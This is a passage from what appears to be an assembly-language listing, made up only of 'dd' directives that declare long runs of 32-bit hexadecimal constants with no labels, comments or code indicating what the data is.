3062FE80h, 2EE9E45Eh dd 0C0B239FCh, 5C47A103h, 30D27A97h, 4209E72h, 369E5A6Ah dd 0B2D36850h, 0F316B5FDh, 41B59480h, 3025FA9Dh, 0B9C0427Bh dd 44EE17EFh, 0E64828F4h, 5F21B1CAh, 7E6ACD7Eh, 55A7198Ch dd 0AD2B0EFDh, 8B68C420h, 0D79E98A9h, 87F22B3h, 0F20282E4h dd 4BAAA53Bh, 0AD5DC31h, 8E5D101Bh, 0CB4FD188h, 0ABFED484h dd 0CB4FF8B6h, 68518148h, 0B22E0F32h, 0F1598BF1h, 24D1A824h dd 0A6A0D83Eh, 37F70095h, 0CF876260h, 2406416Fh, 53C54FD7h dd 84FAF384h, 34AC8740h, 60F3D9CAh, 5881C336h, 3A54DD2Eh dd 0E9575EC0h, 72059DFFh, 4BF18F2Dh, 0C1E724BEh, 4D3E7511h dd 0E26B24BBh, 9D14D06Ah, 4ED6E9F0h, 4312442Eh, 767B1416h dd 0E09A35ABh, 26744741h, 187E005Ah, 0EA810216h, 2C9F0115h dd 0E9D13193h, 5918744Dh, 0B47A82BFh, 9546A3Bh, 98C37689h dd 87B891CCh, 22056671h, 25E912Dh, 97EEDD0Eh, 0F677260Bh dd 5E08A04Ch, 0A1229858h, 0F99D665Eh, 14EBEFh, 7710BA74h dd 0DAF75BA7h, 3EEAD13Fh, 0A24DA9Ah, 0C040E499h, 0A08D0A31h dd 0ECBBF2E6h, 0A07F5ECDh, 673071B1h, 5FF70C14h, 20E1B89Bh dd 334F21D7h, 4BD2DBF2h, 54A170Dh, 1AD980D7h, 19608A1Ch dd 0B175F268h, 29C12B47h, 9B265A54h, 24F8AF41h, 0ED84B06Dh dd 801D231h, 0C13C535Dh, 9FE9DAC2h, 0E097A958h, 1FF50D79h dd 4A36DC73h, 0A54B8945h, 0D86F30A2h, 23C4D2D6h, 1818FA0h dd 0FD5F1DEBh, 21F3295Dh, 2608067Ch, 59FC059Fh, 0C680C760h dd 70C5E63Dh, 75F5785Bh, 0A85A4FEDh, 5650E098h, 89C79668h dd 2CA5BFE9h, 0FF279C52h, 32911F04h, 3880EBC1h, 633497C3h dd 5FE90251h, 6895D95Ch, 79039A06h, 4F7D3963h, 1E2B580Ch dd 0E725E9D0h, 0EFC3D666h, 0BDB14C65h, 816C25BEh, 5A966834h dd 0B6B785C3h, 209CE14Bh, 7C58990Dh, 6D51815Ch, 0EFEC6EFDh dd 2D43C2EAh, 23C0D503h, 0ADA807A6h, 1D02BCEDh, 37686A6Ch dd 9AC4C08h, 1E657911h, 27744600h, 0FBA32890h, 0FEC45F99h dd 0A7245DF6h, 4B0C73BEh, 74171F74h, 0B660C102h, 54EE2851h dd 9E3CFBB9h, 0AAC2D68h, 0D1257445h, 1C3012BEh, 177EEED5h dd 0B07284AFh, 72F0687Bh, 0E108E39Bh, 0F1BF037Dh, 29B97092h dd 0A112F0FDh, 7DBD6A96h, 2D54F701h, 5C461E3h, 2D67EED4h dd 0DD20E21h, 5BD80888h, 67BF59B5h, 532A23BFh, 914987FCh dd 3CB299F9h, 27967321h, 0B0565C9h, 0A17DC331h, 628A68CCh dd 39BF84C3h, 0BCA17E82h, 0E9C2C022h, 0DC58488Bh, 5DD9182h dd 0E2E85586h, 0F3406C05h, 184F173h, 25AEE907h, 9AE03BF1h dd 9621E359h, 0F776A03Fh, 749DD94Ch, 51EA40E7h, 9F4E7E0Dh dd 0F3F0FDA1h, 0C787C079h, 8797B8B4h, 0BA52F3C0h, 90CF1F19h dd 1DF23413h, 53E8800Dh, 0AF80013Ah, 0F574AA12h, 88EB3782h dd 80038319h, 0F9C05FC9h, 20CBD807h, 0DE88522Dh, 0D31F3A72h dd 5E38F5Ah, 3782EBC9h, 66C85D71h, 0C3072D48h, 8901622Eh dd 32D33F5Fh, 0D9538E53h, 0A0B705F2h, 8F468EE3h, 40BF0E50h dd 563E6B0Ah, 50138421h, 0D2CEACh, 88051493h, 0F739452Dh dd 0EADC8DDh, 72729D6Fh, 6B5F80AFh, 1C3F950Eh, 7F1A859h dd 40805D60h, 26DCD5BDh, 5850C889h, 2B547D68h, 0B24AAEF9h dd 41F08C29h, 0E988B654h, 89F1D763h, 0EB84C352h, 67A5483Ch dd 64C31692h, 1740FFA0h, 1B0FC5EAh, 4FDBF639h, 18F1A6E3h dd 0C3715163h, 2F581370h, 67D50313h, 0E9F86838h, 0BBA3226Dh dd 87C2E205h, 8682E512h, 0D79661CAh, 767977C2h, 481AE9E1h dd 0EC016339h, 2D0D6256h dd 8B0BACEAh, 52A6F4CBh, 3E174941h, 8B5EB0E7h, 19A65698h dd 68B14C2Eh, 347F7BF7h, 0DC0A9833h, 54B65B70h, 630E905h dd 82C12671h, 0C9DE222Dh, 5EAB3550h, 87110EF7h, 0C7B5F65Dh dd 0E040ECC4h, 4C68AD66h, 0BD92B163h, 3953BF0Fh, 0F39347CEh dd 681F7DB5h, 44675BF3h, 0D7E09F95h, 60672EEDh, 5154F50Ah dd 0C4AC3644h, 8042A01Bh, 825EE75h, 35B772F1h, 12A24930h dd 2EBB9D84h, 2568ADE0h, 71985FC0h, 1991F187h, 15110802h dd 0B592881Eh, 5B010820h, 71B6BE56h, 976067DEh, 68524036h dd 1A492427h, 0C1B41899h, 6845A058h, 813C58EBh, 230078E6h dd 16DD36Fh, 5FE955F2h, 0C06200F8h, 0F68008EEh, 0F5304400h dd 53CDFE5Ah, 5A337BB3h, 8A2686C3h, 7517DD5Ch, 0E64C5B7Eh dd 73C0382Ch, 0FA6426DDh, 45D8880Eh, 33BE58C6h, 0E6F90246h dd 0BA649304h, 26D83BFDh, 0F14B8851h, 0E30F1206h, 0A2C09F7h dd 0DB68699Dh, 5B822795h, 1652E931h, 0FFBEF930h, 2525C3EDh dd 385A2085h, 57E90880h, 6570E2B5h, 38DFA560h, 1FEDBD07h dd 202907h, 956AB2CDh, 1C904D25h, 0AE3E4405h, 0E844524h dd 723173F0h, 4D351DAh, 0C0CDF420h, 6BA7B81Ah, 214E55E5h dd 0C85A01EAh, 3F1AE234h, 0B908797h, 95193618h, 74EAC0F8h dd 4EDD0348h, 24C629BFh, 41656D54h, 0D10CF313h, 0FA400692h dd 9F2D5035h, 1755EA48h, 0BF1EED5Ch, 627EC109h, 761257D7h dd 9C89497Ch, 0A236773Eh, 4012794Ah, 97AA04FEh, 2B7DF505h dd 0F65F66DAh, 32BA9751h, 0ADFCCDE5h, 5E7EF6A5h, 64C12382h dd 81D8486Fh, 0B9AE0B2Eh, 280DC008h, 1FACC91Eh, 44E1C8E6h dd 6CE51F6Ah, 967D4900h, 0F20F48FFh, 0BD48B415h, 0C950958Bh dd 0E9D05BBFh, 0E912A9C6h, 70FFCAE4h, 0CB685A9Bh, 0D8DA465Ch dd 41F0E952h, 7BE20A9h, 39E5395h, 383BE950h, 0FF2DBA1Ah dd 8D4B6103h, 0BA001A79h, 4F6FAA14h, 0D11FCF81h, 34241745h dd 0CE2ECD00h, 0B0FD893Fh, 25B1B686h, 5DD07BDEh, 0D3BB057h dd 2C8A4565h, 106FE34h, 58232042h, 0BFF52924h, 1A4F0607h dd 25BC2Fh, 616846A1h, 0DA18B71Dh, 0DE8A7D80h, 835E1829h dd 2C6808E9h, 5358AEDAh, 1E8201BBh, 3AE908F3h, 0FE168070h dd 50D6F6CEh, 0CA902B0h, 89B34B3h, 0F17022FCh, 0DA77824Ah dd 7BAB099h, 308EB7B1h, 0A8A2C4E7h, 0D7F702A1h, 0D704EFC1h dd 0F67B5DCCh, 31B08504h, 0C0AB5AD7h, 0E95B5581h, 0BBECE72Eh dd 0D42593A4h, 30BC091Eh, 94F2965Fh, 0A0691292h, 164C2CE4h dd 0E3024FD3h, 59C6895Ah, 0EA4A8E0h, 0D4438B0h, 1874F6C1h dd 0C32C373h, 775FAC8Ah, 462417E0h, 0BB5E1000h, 65728DA2h dd 51009729h, 0D518FE3h, 0E9524205h, 84444F9Ah, 37FEEE2Fh dd 0C251E3B1h, 0DFF1C4Ah, 30231EA3h, 55184D2Dh, 0F76C7BA7h dd 46382E59h, 8B2A1EE0h, 0E30031AAh, 0CBDC42A9h, 2347E97h dd 0FF92E9D0h, 8A6A56FEh, 68152042h, 64EE24h, 56B070D5h dd 0C12D5E5Bh, 7CD72413h, 34289CC1h, 69136800h, 0DD7A172Ch dd 2115A418h, 80C3B147h, 7923BA52h, 82957539h, 89A60F05h dd 0E84D589h, 57AB856h, 4DD8382Ah, 68093CFCh, 0C5197D05h dd 0E8F13E57h, 0B0C16F52h, 1E1D1C9h, 462AC981h, 0D2E94E65h dd 0F4272354h, 2DB0560Dh, 94BB6760h, 0F42D5411h, 0A3175FD5h dd 71EAD209h, 3A78E99Dh, 250EF016h, 7B9BE097h, 3FDFE681h dd 0CCD06A2Ch, 0AA242CEEh, 7B5CAF4Fh, 8F2E0C0Ch, 0F7EE0F1h dd 0CD896849h, 3FD594BDh, 6A72C3B4h, 0A18B0A5Ah, 0BF4AB458h dd 0E9D9E969h, 0E71D2551h, 8C65D02h, 0C92D08D3h, 0AF0FF743h dd 85AF3265h, 0F04E04E8h, 4935011Eh, 21CD0957h, 0E9CCCD5Dh dd 176C1FFh, 3F4C500Ch, 680A4AA7h, 0AE353569h, 5CFBA766h dd 41A572A4h, 75F3EACBh, 652809CFh, 2D006263h, 0DC1B4FCAh dd 0A5BD025Ah, 0DE1C0302h, 0E65D299Eh, 379D25D6h, 14F92CC8h dd 1024DC5h, 403A8D21h, 0DD07FA04h, 74A2DA87h, 3D19C6BEh dd 0D3795658h, 0C5BC097h, 593D5520h, 1054372Bh, 0C2544C5h dd 0C4148F82h, 26E17788h, 419DDF4Eh, 0CC22E680h, 0F4E005C6h dd 0E35A5A70h, 14D2D6B2h, 0C3255067h, 60B43799h, 0F64B34B8h dd 52ACDD91h, 72F92901h, 0C04F2DE7h, 176B68A2h, 0E665FE7Fh dd 0CD163FABh, 5F2C76F1h, 52C1F912h, 75BFF0B2h, 1117389h dd 386498D5h, 0F7A7A8A7h, 0A53D129Dh, 1391AD56h, 85A342FEh dd 3968B3C6h, 6A3BCB02h, 5D4310D4h, 7880A409h, 37140E7Bh dd 7E510500h, 0BE97854h, 0F335C34Dh, 808C1770h, 6489EB5Dh dd 3C7CA326h, 0DA7BF802h, 84CB5C65h, 0C051193Ch, 5BCFE2C1h dd 0EA01CFCh, 334F4FACh, 0BE371100h, 35E99D20h, 0AC66FCCCh dd 4E78D1F7h, 542C67FDh, 0D4F95B70h, 0F60405E0h, 0BA0055C0h dd 40591ABCh, 9D69C3F4h, 66D8714h, 757CC682h, 0C5013BA4h dd 5213EBC8h, 4FDC8AEAh, 1534F9B2h, 8C30FE85h, 0BFF0B753h dd 8C36AD2h, 4A6B35E9h, 4FF4F61Ch, 1CDEED44h, 69540112h dd 7E356D65h, 0AE84DB90h, 0C1E03F9Fh, 0C60E7D4Ch, 1E4146E1h dd 3F70ADE9h, 502C8FF3h, 3BB581BCh, 2059E888h, 0F9835356h dd 0F26BB470h, 50512657h, 80E83EF8h, 53F6D828h, 2574FDE3h dd 59647A5Fh, 0B2CFBF10h, 167874EFh, 163DAB5Bh, 0A05FFF66h dd 6629E995h, 100285EFh, 0FE261673h, 85039A9h, 0DFD09F58h dd 53F3515Fh, 8485A893h, 0B117EA46h, 40062FE9h, 9514EC39h dd 44EA9B54h, 0AF711902h, 0ABEBC36Dh, 2936D173h, 0BD7438BEh dd 30086579h, 895725C5h, 0C180C97h, 0C13EF1E6h, 80186C64h dd 0F685722h, 5837DB1Fh, 0F71515Fh, 0FE29F845h, 30CA310Dh dd 1412AB89h, 50BE7AC9h, 0CB4A08AAh, 4C5B106Bh, 5D66CA40h dd 0FC4AD3FAh, 0EF00779h, 216F2192h, 9BA8C96Dh, 9C2F3760h dd 0ADD1838Ah, 99DADB7Dh, 6658D2A7h, 79FE1EDh, 79898F5Ah dd 0A4989292h, 93DECBF5h, 89296089h, 0CA62F541h, 0F809B573h dd 0E2B5AD0Ch, 6726136Ah, 0AFE5C495h, 0F24F50B7h, 0A0D94AB8h dd 13B2F73Ah, 8FF486CCh, 0DD8701C7h, 8956DBBFh, 0EBF17AFEh dd 12135DF6h, 0F5FD9A5Eh, 70BD1FF6h, 0DC189D6Eh, 5C81FEEEh dd 98BEB32Eh, 0D394E9A7h, 79D9AAC4h, 42A70DBFh, 0F4801301h dd 20C3CC6Dh, 0D0E32824h, 0BFD1DF3Ah, 26A70F2Dh, 5C639DC0h dd 0B9492601h, 0FA7FFBA6h, 3611043Ah, 0E10804BEh, 0FE50BE98h dd 0A679425h, 2055575Eh, 338B9FEEh, 5D5089DFh, 5F5ABB14h dd 0BA8457ADh, 0B35B220h, 0F7E865AAh, 2D1B6880h, 14577D2h dd 0ECCA0805h, 1F74505Eh, 8D024A78h, 0D6B00865h, 2A68C540h dd 0FA4E5DC3h, 0D0474A77h, 505206BCh, 0D585A27h, 0E686EDFh dd 7875B2A2h, 2FED973Bh, 661C7520h, 68C7F1F7h, 0FB7C7AF8h dd 0B22C2DE9h, 5425EB65h, 63057AD3h, 59994E9Ch, 50D218CFh dd 560036ABh, 0B066850h, 40F83C48h, 149D3501h, 0C6890DBCh dd 22105E4h, 0E9336545h, 0CAEC19FCh, 0B5C39E0Fh, 3FF7A5B6h dd 36F179D0h, 1A5F3D76h, 4149D11Eh, 484CE6E1h, 20EA3027h dd 0FCB7F307h, 2478F1E9h, 2CE2022Ah, 8B412592h, 7203E5D3h dd 95B3DBBh, 44617868h, 30564CFBh, 2FFBAC10h, 65B3D155h dd 0C48BAA5Dh, 7056EC96h, 0C799930h, 485D39A6h, 71053028h dd 0AC50B57Dh, 0E94E1CD1h, 25E9D815h, 9591D065h, 0A9B5FD5Ah dd 90A98F54h, 0C35B6615h, 9F575074h, 4BB98056h, 1EDA7212h dd 54ABFC3h, 375C2978h dd 0B4C8BA32h, 28C2179Bh, 0A132AEE7h, 0B78F0308h, 2B0AD776h dd 0AE32432Ah, 0F6EB6427h, 6E688074h, 0C6B36C63h, 621511E0h dd 0DBC31015h, 22585E19h, 0FC980698h, 90164A13h, 0E75DD5BAh dd 2EE0345Eh, 2D68F0F7h, 0D0566277h, 0D939D162h, 4A52808Bh dd 2EBE011Ah, 0E09FA9E8h, 276DF6D7h, 8DD2184Dh, 6F580881h dd 40E5B606h, 0DFFB9D76h, 0A65D5127h, 0D0261272h, 0CC03A4ACh dd 0B6D3809Dh, 2525CD5Bh, 7707D8E9h, 0D47E572Dh, 0B784EE46h dd 0BE040716h, 67FE8D02h, 0E10DA4D8h, 0C0844076h, 5F4BAAC1h dd 0DD4F88FCh, 0B9D13FF3h, 0CD2EA8B0h, 13B3BEEEh, 31BEC5A4h dd 2AE64D17h, 0EE93AFB2h, 624F79DEh, 7570D4F0h, 2E7C113h dd 0F5A0AB06h, 4EA49856h, 0A5AEF3E6h, 9094ABCh, 99921BE7h dd 991E0809h, 167C3CB5h, 2255BEE9h, 4C550C47h, 0BFCBB13Eh dd 8A16C125h, 70C42B4Ch, 0E307437Ch, 34544C64h, 0E033F363h dd 60F72FA7h, 0D87310DBh, 31258B26h, 4B6460D9h, 1E8D2553h dd 2112E1DEh, 0F4D648A2h, 2122CE75h, 58284401h, 36376817h dd 5F1711CCh, 97C734B8h, 0D190FBFCh, 0EBE65BDDh, 0C74C06B0h dd 2498A5BEh, 25699FE9h, 5DED3A5Dh, 53F6AC02h, 0C3FF0980h dd 551DDAD7h, 505A11EEh, 9FE96B30h, 46359E4Dh, 9B95E668h dd 4DECA24h, 0E7C1FEACh, 0B00828D9h, 64A3EE4Eh, 785D9415h dd 0C9A9F14Fh, 0EB5420D9h, 5AC78080h, 7498B199h, 74181C7Ch dd 0F70C2FA3h, 483FF406h, 0A20E524Eh, 2981E548h, 394FE9F1h dd 12C7039Fh, 0DF366667h, 0C8C133Eh, 57B2D68h, 1CE57CD6h dd 9DBBA840h, 24F9041h, 0E55D3F2Dh, 0B1C1290Eh, 3A4C312Ch dd 0A82E3C29h, 0FE0CE645h, 5D2F3520h, 0A2BD13A0h, 5055F074h dd 781F5CB8h, 0C5890E04h, 98E0AB58h, 9AFE38E9h, 8845E5Bh dd 5900C244h, 0FE05EFC0h, 0B45000C7h, 58E7309Bh, 5B2CF828h dd 130BBA2Ch, 83A61A3Bh, 85641FE6h, 0BB86FCBDh, 21279340h dd 0AF1FF1D9h, 0F4956342h, 0C7545EADh, 0A8402406h, 0E58042D5h dd 49656006h, 0A7EB0721h, 0B40B1E07h, 0AED994FFh, 5F9B5F1h dd 2858183Fh, 0B90149D6h, 0C6BD5538h, 2F31BF54h, 0C7405DFDh dd 1693476h, 0B4F6812Eh, 6E124A45h, 0E83B44F5h, 4FFCC3ECh dd 0C660BF9Ch, 20AE593h, 0E9F331DFh, 0EFFCD05Fh, 61652BB8h dd 9D472227h, 7E71CA8Eh, 0B2006B7Eh, 55D468F9h, 0E6F93BE1h dd 93A6B992h, 288B01BBh, 0A111C95Fh, 494B1423h, 2F7ED01h dd 0E9EF892Dh, 0EC96677Eh, 55010444h, 0B27FE9DDh, 1CD990DFh dd 36D25607h, 68552D49h, 10834Fh, 0E7815A0Eh, 0B7828CEh dd 7E702D98h, 470A0824h, 5D1BED2Eh, 0DFB8C9AFh, 0C5E7EF9Dh dd 0EA012988h, 986E408Dh, 0E22AE9FFh, 3CF06D2Dh, 7634445Ah dd 2C845EEh, 0E65DAAABh, 1C2908CBh, 3FEC4365h, 7524B4Bh dd 5FD88EFEh, 0F1CD4D69h, 4E6B23Eh, 1EECE953h, 31E816h dd 0A967F7Bh, 1763B951h, 8628804Ah, 22D006B2h, 547510Bh dd 45C1D17h, 8214E706h, 345AB9C7h, 0A9250509h, 1DADD03Eh dd 133BA62Dh, 53480972h, 39A31180h, 80BD74DFh, 342D48ACh dd 8DD0164h, 3B60DC25h, 0C518302Bh, 858A47B1h, 42B0C855h dd 48964FA9h, 0BD003738h, 1B7918EEh, 0BF540FE9h, 4B4FDBAEh dd 6D3B45F6h, 0BF58E150h, 0B461CF81h, 0CA0BD31Ah, 828F5F17h dd 56D87A74h, 9D0052A9h, 0CC28FFB1h, 7FC5898h, 8004D073h dd 0E68890F4h, 70B61B88h, 2478E12Ah, 4576D6DEh, 1DD78786h dd 103B1A3h, 0B43BA4F7h, 4AE90976h, 0CED50108h, 0EED435Ah dd 360128E9h, 8794AAE8h, 5A98F539h, 0E19BEA5Dh, 0C78884C5h dd 586E83BFh, 382FE895h, 7CF12776h, 355F2409h, 0F51D0406h dd 97BD0040h, 0FF7C916Dh, 0F398E5D5h, 0E0F292EAh, 3DAA6417h dd 66681980h, 2065925Ch, 8190B562h, 54E50350h, 229F5224h dd 44DA908h, 0AD4A9A68h, 525587DDh, 0E44F1EC0h, 10E0A85Ch dd 1FA3054Ah, 0D67BE951h, 1E4B21Bh, 2D1EC875h, 7C646B90h dd 5DCF762h, 0FA2A8052h, 5A7C4941h, 63ABF14Bh, 0ADE4CA69h dd 81A49E61h, 0CAF7C732h, 90245AAh, 307C5B55h, 0D078E271h dd 4E87A34Fh, 46C6B981h, 0CDE1392Eh, 0ED3E19E3h, 1BE9C44Dh dd 0B37AEBB1h, 0F30593B6h, 0B3ACEBF5h, 2523F84Eh, 7F30C2B5h dd 96278797h, 1A432D5Bh, 807277F4h, 284EC06Dh, 1014B06h dd 9D9C2CDh, 58893E9Ah, 0CC840804h, 5F281718h, 3E0A0879h dd 820FA29h, 0A49440F9h, 0F6800125h, 0A87116A2h, 0C542FE70h dd 7C4A7964h, 0D6E90590h, 92FCF311h, 58D7F902h, 107A768Ch dd 2A744ACAh, 1424D709h, 0B1769FBEh, 82F456EBh, 0FF435E68h dd 6243D1DCh, 0C7351C8Dh, 775C0FCDh, 0B8139A64h, 0CE0D9EDBh dd 0E602112Ah, 40EEF721h, 19366813h, 0EBC449BCh, 0CBDBB861h dd 7B0D815h, 0DEC4A335h, 0C2C7D7F6h, 23570FCBh, 0B40A239Bh dd 4C66CFFEh, 4D06D3F0h, 502C1D0Ah, 13F5CE59h, 0F835B767h dd 0DC7927C6h, 932CBBDEh, 0D6BEBE61h, 0BE449B7h, 0D1ED073h dd 0EA681620h, 4B7DE234h, 0A548CEB6h, 0E479FC4Eh, 10842684h dd 2B48CF8h, 1B7DEA17h, 0C5006274h, 0F99E27Eh, 43CD629h dd 0B14E4C6h, 9D80F509h, 0DC6A1CEDh, 43ED3950h, 78695012h dd 40EF8C10h, 0E5955D08h, 2D348BE9h, 0F12F2866h, 5BAC22E4h dd 0F8D1C004h, 1866E82Ch, 103BB753h, 0F75E90E9h, 0E95EBAA7h dd 7F079A17h, 0E987F795h, 7E1B01E6h, 316850A2h, 27E95040h dd 9F791FAEh, 1B30CA8Ch, 6F234136h, 0DD221C87h, 0B49925Bh dd 916758E6h, 95E9700Eh, 1F66775Fh, 14C464F0h, 0A4DCF85Ah dd 0F23BD581h, 5050BC2Dh, 940BBFFFh, 4F3D1477h, 7FFBB14Bh dd 6F1ACC9Eh, 7D82EFA8h, 5D09102Fh, 76F5A582h, 336785B0h dd 57A4A091h, 0F5371900h, 5AE94E06h, 4BA41D1Eh, 0C3DEDE0Eh dd 551CAF62h, 0A82C916Dh, 844E4410h, 1EB5BA40h, 0B1B7ABCFh dd 0C9023F6h, 6DD3301h, 152850EBh, 1FC7EACAh, 7A07E7C0h dd 0BBFC19B6h, 5E6C113h, 0E05A7201h, 0B03F286Dh, 0FAE951F0h dd 5859EBE0h, 255DF6B0h, 7CF2D2FDh, 0D924AE97h, 42448BFBh dd 188F4C69h, 3DDF2DE0h, 0A65395FCh, 2830A0ADh, 90503279h dd 0EAF72DB7h, 5F7977E4h, 5D8A5B30h, 3B0BB2CFh, 0F7027297h dd 7BBF39FAh, 0AB89B58Bh, 0CEE7A2DFh, 0BB1B68AAh, 2DD6A628h dd 52BE5455h, 0AB72E935h, 5A1E9BFEh, 0CE6B17F2h, 2F7E2B01h dd 0BC5AD122h, 40CB04C8h, 0E7C81DB7h, 40064ADCh, 0AAEE81B4h dd 2D5F0549h, 680AECE6h, 8899547Ah, 0FF04A216h, 0DB852C77h dd 513404EBh, 0E87F82B5h, 0D2AE69C1h, 0BF955F90h, 0ABFB5F82h dd 5A92FCC9h, 79ADFFDEh, 5E5462B1h, 58A2795Fh, 0C8B522EFh dd 0E01BF2EBh, 0E1235A80h, 0CAC02270h, 5D0F0868h, 0C14B57E9h dd 1FE08153h, 117131F4h, 680B490Ah, 87D91A86h, 0E4397549h dd 5FBC24EBh, 4365FE97h, 3D3B9B80h, 0B6B7AAFEh, 3D3EB904h dd 0ACB037AEh, 0CD2B92Fh, 4DA257CFh, 7688740h, 71B609FDh dd 21704B58h, 4BF92049h, 0C9083A83h, 0D06AFD9Ch, 0F61FC31Ch dd 4889EA3Dh, 0DC1106Ch, 0BB05664Ch, 0EB69B105h, 13ABE6D0h dd 907E5BA8h, 8C7455B1h, 4A83DADFh, 6738382h, 467D24E6h dd 68090C26h, 0F42FBC02h, 0D008A0BCh, 5925140Ch, 82B494D7h dd 5AC56108h, 0E6EFE444h, 52EC4BD2h, 0A1F2E9C5h, 84537350h dd 61E34420h, 0A3A52F16h, 0C1D906C9h, 0F4F8EDBAh, 17B6584Ah dd 4C73AE4Ch, 1C05A8F5h dd 0C029F242h, 0CB781DD3h, 888064DDh, 0E9608F70h, 0D8E40BBh dd 89783709h, 865F8445h, 71E28100h, 7D72C102h, 449007ECh dd 45EA1A7Ah, 5D0B4AB8h, 0F00F8E47h, 160C698Fh, 79EB89F7h dd 9CCE62F3h, 61F32C02h, 68008AE3h, 3F912981h, 2A33F969h dd 2F527970h, 4CE51994h, 180FF27h, 5B66DC30h, 0D94E09B6h dd 4007ACE2h, 57EF366Ah, 0DADBF72Fh, 1A563183h, 7B5B1E87h dd 5D1BFF3h, 3DDAE908h, 4E7DC2Fh, 81F56735h, 77C32940h dd 0B1E90B25h, 6129DCDAh, 573302EBh, 43724FEh, 0E7EF5258h dd 2B6BC47Bh, 0C31C75ACh, 60EBCE61h, 5B10B71Dh, 0FE0070DCh dd 0E9D986C9h, 8982483Eh, 8A53BE81h, 5B7F2025h, 2ACC7D16h dd 4130FDA8h, 0DB391914h, 527267Fh, 0CCD0D6AAh, 0C72788AAh dd 0FB82FD52h, 0B08559CEh, 7F11E8F3h, 8DE9D50Dh, 213FE8F0h dd 0E487CBBFh, 32D30111h, 400B151Eh, 0F50886E0h, 1F4D3D98h dd 0ADE90584h, 939BACBh, 80D7B92Fh, 0C040D7EFh, 1656583Eh dd 27465026h, 6E944241h, 29EB8C13h, 4262A735h, 0CB43F585h dd 1F422204h, 0FEAC6908h, 50885910h, 51865F1h, 1F0C40B8h dd 5EE22771h, 8830ADAh, 6B140C41h, 457520DCh, 73E32436h dd 0E10F86Ah, 4D3C3351h, 0EAE05C35h, 6809A4CAh, 0BCCC783Ch dd 7075E916h, 0E59A1DD1h, 79555E02h, 6688DB5h, 6625C3EEh dd 0D1D21867h, 6B862F78h, 21F44AE8h, 1777D1Bh, 9244E211h dd 0DDB0F70Ch, 5580EE8Ah, 238D0ABDh, 1AA04061h, 827D65BAh dd 5D5E62B4h, 88DD6C9Ah, 3180950h, 43AFB3Eh, 0D5F75363h dd 8C088045h, 0BD707Ah, 0FB1A1DD0h, 0D8EBA14Ch, 9C7FCB66h dd 0B68AB0D0h, 294BB4BDh, 97338DB8h, 6000521Ah, 26FA0A89h dd 25D93CBAh, 6289E3AAh, 70C2ABF8h, 576004F8h, 99588180h dd 0FAEAE4F0h, 8025254Ah, 0CC4188FAh, 0AB20D841h, 0E75517A0h dd 1C12152Dh, 0A137A94Eh, 0DC3FEA8Ah, 310C2D54h, 0BB0CD579h dd 0BA30409Ch, 66451C12h, 8F23000h, 142F7049h, 0FAAFF4E9h dd 1DC3385h, 4E440244h, 8AB43A5Ah, 0BB6A2FAh, 7B74060Bh dd 0ADC70F9Fh, 3100F4B2h, 95355FF8h, 330F321Dh, 7900D65Dh dd 424F255Eh, 57C02BAh, 0A6D2F56h, 0F596E9F6h, 0DE71EB27h dd 0F17A4791h, 13A26CAEh, 875E08E8h, 0B29BD4C9h, 6C6FF22h dd 8BA22A55h, 0E85107C8h, 0B805E737h, 0FE681EC6h, 6ED06C5h dd 0E3950680h, 0E9C7D8F6h, 5FB6A8A1h, 25950905h, 0C8DF35F5h dd 9A946876h, 0E4D681CCh, 9259F26Bh, 0B5015EC8h, 81F27FB2h dd 0B0F67E20h, 0B5E500C7h, 686BB27Ah, 99976039h, 1AED721Dh dd 0AC49852Ah, 0EC08858Fh, 68A370AAh, 97CF0B9Eh, 598C13A1h dd 0DF975D20h, 9613C87h, 658845DFh, 1049E650h, 0B92E6DCCh dd 3DBD3950h, 6138B41Ah, 913B61DEh, 3A070126h, 0B5F670D7h dd 0EA00D53Bh, 7715F721h, 17051B22h, 8212717Eh, 0A5D7F3A3h dd 60F841F2h, 3E02A5Eh, 6C2D4EEBh, 50C0123h, 297E3E5Bh dd 830A0FBh, 4E140CD0h, 0B0572A8Ch, 3221964Fh, 6877A5C2h dd 1D77F5D4h, 0BED01D48h, 0B75BC005h, 0FEF21D12h, 0F76F2A0Fh dd 0B49EB8D2h, 0ED00CE13h, 2AE77388h, 47F30935h, 0A05F2F8Fh dd 0FE28CB13h, 0FC50BFB0h, 2E81815Fh, 0E9E57BDCh, 0EE0870A0h dd 0B2BB710h, 0CEEE7F50h, 6246D782h, 615AD490h, 80B45464h dd 736E260Ah, 0CA5745F9h, 0CCA19304h, 5C32CB3Fh, 645E89FFh dd 0EEC29754h, 11884FD8h, 0A9902958h, 7682BE5Ah, 56AF6A59h dd 68AEEC7Fh, 18137E0Bh, 9FA68270h, 88E8F26Dh, 9F1C6FE1h dd 0AFB1D984h, 0A80D284Bh, 4B0396DCh, 0D97E8F3Bh, 6800A328h dd 3BE12208h, 0BCE57FBCh, 29BE5A71h, 29FC8007h, 893E2CD6h dd 3DE927F8h, 0CBDB87C3h, 0AD83E4B9h, 957D3E1h, 9E7DDF8Ah dd 0E3FE4C41h, 5820FC32h, 0FD58E25Dh, 0A6B014C6h, 0C52DD369h dd 0D71828D0h, 0E736041Dh, 0C7D9B8FDh, 0E808D2C3h, 0F13D644Eh dd 8B8D2E2Dh, 8960B12Eh, 584B5B16h, 0D6EA04Fh, 4C3AEEEDh dd 8919CB31h, 54B974DAh, 556AC3B7h, 0A940C8CAh, 0DE745CC1h dd 0CACE9A60h, 0B625E852h, 8C214FAh, 4967E750h, 0A09C2721h dd 82111709h, 21160B75h, 0FF50E909h, 0F601B83Bh, 0F3A6C708h dd 61172713h, 6C7A8468h, 276EC491h, 4AF9CBBAh, 165137F4h dd 0B4D9BCE9h, 51980521h, 8976EB62h, 82AF6CFh, 22CC57Eh dd 93120301h, 0EE940143h, 1C6108C6h, 2EB42756h, 555191D2h dd 56924595h, 5EC962FFh, 62995975h, 0C6F45AE1h, 0F60EEEA4h dd 0ADD94FD1h, 5740F56Ah, 5E6E39A9h, 0F8B9F13Fh, 0DDC669E5h dd 0F60702EEh, 523758DBh, 8580128Fh, 3B685704h, 2F7F0B13h dd 0B78D7DD1h, 2A132166h, 8F60EA30h, 0B5A05ACBh, 87E6B486h dd 4C7FF607h, 0F2C417EAh, 0F2D24DECh, 0C0CCC566h, 4C0931B2h dd 0A9D84B5Fh, 27C00D59h, 2159855Bh, 48CE5EC3h, 0B116D0EFh dd 3F9CB256h, 0BB4E965Ch, 5A233BBEh, 92CB2DACh, 0D00EAC5Ah dd 2C21A62Dh, 0EBE64Eh, 812CF33Eh, 655D99E6h, 5E514358h dd 2159A504h, 0CA037DA8h, 581847DAh, 1710CE04h, 0A0F1076Ch dd 0EF8506BDh, 0B845EEEh, 